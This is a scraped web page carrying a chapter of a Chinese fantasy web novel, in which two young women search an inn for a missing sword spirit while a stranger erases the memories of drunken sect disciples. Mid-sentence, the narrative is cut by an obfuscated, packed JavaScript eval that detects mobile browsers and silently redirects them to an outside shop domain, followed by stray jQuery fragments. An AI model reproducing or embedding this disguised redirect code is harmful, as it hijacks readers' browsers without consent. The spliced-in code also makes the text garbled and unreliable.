文趣网 > 其他小说 > 妖女潜入仙门后 > 16. 逐芳阁(二)
    荧灯顿了顿,飞快整理起思绪。

    假如悬红来过这里,还被掌柜的记住了,他却刻意隐瞒,那极有可能是悬红在这里发生了什么。并且,这件事不能让人知道,否则会对掌柜或者逐芳阁产生不好的影响。

    如果是这样,她们这样光明正大地找人必定会引人注意。

    为了自己和席寒枝的安全,她最好先站在悬红的对立面去。

    荧灯依旧站在王掌柜身前,她长叹一口气,双手撑住柜台,再次看向王掌柜。

    “这么一个大活人,怎么就凭空消失了呢......明明是个修行之人,却连我这个凡人弱女子的东西都抢,太不要脸了,若是被我找到了,定要让我的修士朋友好好收拾他一顿!”

    最初从璃海出来的时候,荧灯见到生人都会胆怯,恨不得自己是蚌精变的,能随时缩回壳里去。如今,她已经完全不怕与人说话了,甚至能自然而然地胡说。

    荧灯边说着,边留意着他的神情。

    王掌柜听到这里,果然眉头舒展了半分,他抬头,愤愤道:“竟然还有这样的事,这样恃强凌弱的人确实该罚!”

    荧灯赞成地点头,眼圈泛起一圈红色,焦急道:“我们在镇上都找遍了,逐芳阁是最后一处,您仔细回忆一下,真的没见过这个人吗?他抢走的宝物是我娘留给我的遗物,若是找不回来,我真的不知道该怎么办了。”

    王掌柜微微仰起头,似乎是在认真思考,良久,还是说没见过。

    他安慰道:“姑娘,我也不知道如何帮你,但你那位一起进来的朋友看着是临岐山的小仙君。我会吩咐伙计们帮你留意,若是见到这样打扮的人,一定第一时间告知临岐山。”

    荧灯感激地看着他:“谢谢掌柜。看来今天是找不到了,我朋友为了帮我夜不归宿,现在仙门寓舍也落锁了,您给我们安排一间房间吧,我带她先去休息一晚。”

    王掌柜笑了笑,便热情地叫了人来。

    这时席寒枝也打探完了,一脸失望地走到荧灯身前。

    荧灯迎上前去,抓住席寒枝一只手腕:“寒枝,辛苦你帮我找了这么久,今日找不到就算了,我带你上去吃点东西休息一晚。”

    席寒枝有些不明所以,怎么突然就要在这里歇下了,找人可是十万火急的事情。

    就在她疑惑之时,荧灯轻轻拍了拍她的手:“走吧。”

    席寒枝立刻收敛了神色,什么话也没说,只是点了点头。

    酒楼内的伙计将两人带到了二楼最里面的一间阁子,待荧灯点了几个菜,便恭恭敬敬地关上门出去了。

    看着房间的门关上,席寒枝施法弄了个阻隔声音的结界,看向荧灯:“怎么了,你发现什么问题了吗?”

    荧灯点点头,将刚才发生的事情告诉了她。

    席寒枝终于弄明白了,她想了想,又问:“但说不定那掌柜的只是恰巧看着表情奇怪,其实他真的没见过呢?”

    荧灯知道她的顾虑。

    “我也不敢完全确定,只是有一种直觉。而且我们现在也没有别的线索,离开了这里也不知道该去哪找,不如先把这逐芳阁好好排查一遍。”

    席寒枝觉得有道理,而且荧灯虽然没有灵力,却比自己聪明机灵,总给她一种靠谱的感觉,于是也不再多想。

    “好,我都听你的。”

    与此同时,更高一层楼的房间内,几名临岐山弟子正举杯欢笑。

    这房间比荧灯两人所在的那间奢华得多,朱红的梁柱金枝缠绕,帘幕层层叠叠,都是上等的鲛绡所制,空间更是比楼下大了一倍有余。

    觥筹交错间,几人互相讲述自己捉妖的见闻,其中不乏吹嘘夸耀之辞。

    一名男修说完自己与虎妖缠斗的经历,其余人齐声鼓掌喝好。

    席间有一高一矮两人坐在一处,竟是上次威胁过席寒枝的谭梁、孟安。

    孟安举起手中的琉璃盏,笑道:“孙师兄果然实力不凡,这么凶恶的虎妖都能轻松诛杀,完全能当咱们仙门的首席弟子,就算是那李泽玉来了,也未必比得过!”

    孙有平听到这话,忍不住勾起嘴角。

    他家中世代经商,手里有的是钱,经常带着一众同门出来挥霍逍遥。他本是和李泽玉同一年进入临岐山的,但自己天资不够,又不思进取,如今仙门内人人都认得李泽玉,却没人记得他孙有平。

    他知道方才孟安的话只是奉承恭维,却觉得听了舒心。

    谭梁嗤笑:“那李泽玉整日端着个脸,只不过皮囊生得略好些,能惹些师姐师妹喜欢,真要论本事,他算什么东西。”

    有人问:“还真有人喜欢那面瘫啊?”

    谭梁眯着眼睛,有些醉了:“可不是吗,那个谁......”

    正要把席寒枝的事说出来,一旁的孟安却推了他一把,打断了他的话,将话题引向别处。

    几个人越喝越晕乎,孙有平皮肤白,很快面颊上就泛起浓重的红晕。

    有人笑着说:“孙师兄,你脸怎么这么红?”

    孙有平不屑:“说的什么屁话,这才喝了多少。”

    不知道谁跟了一句:“真的,不信你照镜子看看。”

    孙有平心中气恼,酿酿跄跄地拿起一旁的镜子,仔细端详起来。

    他本来已经喝醉了,头脑一片混沌,但当他一双眼睛盯住镜面时,却是猛地将镜子扔回桌上,顿时冷汗直流,酒也醒了一大半。

    其他人被他这动作吓了一跳,不知道他怎么了。

    孙有平指着桌面,声音有些颤抖:“这镜子,它......它怎么照不出我的脸?”

    几人听后瞬间变了脸色,纷纷拔剑,警惕地看向那面镜子。

    孟安疑惑:“我们坐在这里吃饭喝酒,桌子上只摆放食物酒水,怎么会有镜子?这镜子是何时出现的,居然没有一个人察觉,难道是妖?”

    谭梁看向镜子所在的地方:“可是我感觉不到妖气。”

    “孙师兄,你是我们几个里最有本事的,要不,你再去看看?”

    孙有平本来想退缩,他修为平庸,刚才说自己诛杀虎妖,但实际上那只是一只修成人形不久的老虎,妖力尚弱,要真是对上什么厉害的妖物,他哪里敢对付。

    几双

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676947|207513||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼睛看着自己,他面子架不住,只能尽量让自己看起来冷静:“临岐山脚下,哪有什么妖物敢作乱?我再看看,说不定刚刚只是喝醉了,没看真切。”

    说着,他走向前将镜子立了起来。

    几人站在桌前,都盯着那面镜子,但当镜子照向他们时,每个人忍不住打了个寒噤。

    镜中映照着雕花的房门,华丽的地毯,明明都是房中的景象,诡异的是,竟然一个人影也没有。

    下一秒,镜中出现了一个人,几人纷纷转身看向身后,是个白衣服男人。

    那人扫视一眼,像是自言自语:“这里也没有。”

    他们回过神来,举起剑,一同向那人刺去。

    男人手指轻抬,所有人都静止在了原地。下一秒,他眉间一道金色的印记泛出光辉。

    “忘了吧。”

    这群弟子似是得到了什么指示,都将手中的剑收回剑鞘,失了魂一般坐回自己的位置。

    他摇了摇头:“临岐山,果然不行了。”

    说完,人就随着一道金光消失在原地。他消失之后,几个人如梦初醒。

    谭梁揉了揉脑袋:“刚才说到哪里了?哦对,该孙师兄了。”

    孙有平笑了笑,举起琉璃盏:“上回,我在不归山遇到了一只虎妖......”

    对楼上发生的事情,荧灯与席寒枝并未察觉。

    “寒枝,把乾坤袋里那把剑拿出来。”

    悬红剑之前和她一起待在临岐山,离这里距离比较远,悬红断联后就失去了反应,只有它信任的人用足够的灵力催动才能寻找剑灵。但现在不一样了,如果悬红真的在这家酒楼里,一旦距离足够近,它也可能恢复与悬红的联系,出现一些反应。

    荧灯接过剑,把剑系在腰间。她扫了一眼饭桌,又提起桌上的酒壶,将酒杯塞到席寒枝手里。

    “走吧。”

    她们采取了最原始质朴的方法——挨间挨间地找。

    逐芳阁一共有三层楼,越往上的房间越华贵。荧灯本来想两个人分开行动,一人负责二楼,一人负责三楼,这样不仅能节约时间,就算遇到什么情况,她也能施展法术,以免身份被发现。

    但席寒枝觉得她一介凡人,这样太过危险,坚决不同意分开。

    荧灯想了想,她们没有能联络的东西,如果遇到危险也不能及时让对方知道,确实不妥当,便也不再坚持。

    她们从二楼第一个房间开始搜查。

    荧灯在房门上小心地敲了几声,片刻后,有人开了门。

    那公子哥见门外站着的是两个年轻姑娘,愣了愣。

    “姑娘,有什么事吗?”

    荧灯轻声恳求:“公子,深夜冒犯了。我们昨日在这个房间住过一晚,今天才发现我的耳坠子不见了,兴许是掉在地毯上了。它对我很重要,不知道您可否允我们进来找找?”

    他挠了挠头,目光不自觉地往房间里瞥了一眼,似乎有些为难:“这......”

    席寒枝站在一旁,见他犹豫,正要开口求他,却听房间内传出一道女声:“让她们进来吧。”